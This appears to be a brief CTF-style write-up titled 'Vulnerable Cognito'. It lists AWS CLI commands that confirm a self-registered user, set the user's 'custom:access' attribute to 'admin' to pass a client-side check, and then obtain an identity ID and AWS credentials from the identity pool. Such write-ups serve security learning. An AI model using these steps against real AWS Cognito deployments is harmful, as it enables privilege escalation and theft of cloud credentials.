rootđź’€senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

Vulnerable Cognito


Userpoolid client-id

image

aws cognito-idp confirm-sign-up \                                                                                                                                                     ─╯
  --client-id <client-id> \
  --username <*@gmail.com> \
  --confirmation-code <code> --region us-east-1 | jq
 var access = result[4].getValue() // currently the 'custom:access' is at index 4
        // or if the index changes again,
        // the following code always gets it
        // for (const name of result) {
        //   if (name.Name === "custom:access") {
        //     access = name.Value;
        //   }
        // }

        console.log(access)

        if(access == 'admin'){
          window.location = "./admin.html";
        }
aws cognito-idp update-user-attributes --access-token "<access-token>" --user-attributes Name="custom:access",Value="admin" --region us-east-1 | jq

Identitypool id for creating issuer Identity token

image

aws cognito-identity get-id \
  --identity-pool-id "[identitypoolid]" \
  --logins="cognito-idp.[region].amazonaws.com/[userpoolid]=[token]" \
  --region us-east-1 | jq

image

aws cognito-identity get-credentials-for-identity \ 
  --identity-id "[identityid]" \
  --logins="cognito-idp.us-east-1.amazonaws.com/[user_pool_id]=[identity_token]" \
  --region us-east-1 | jq

image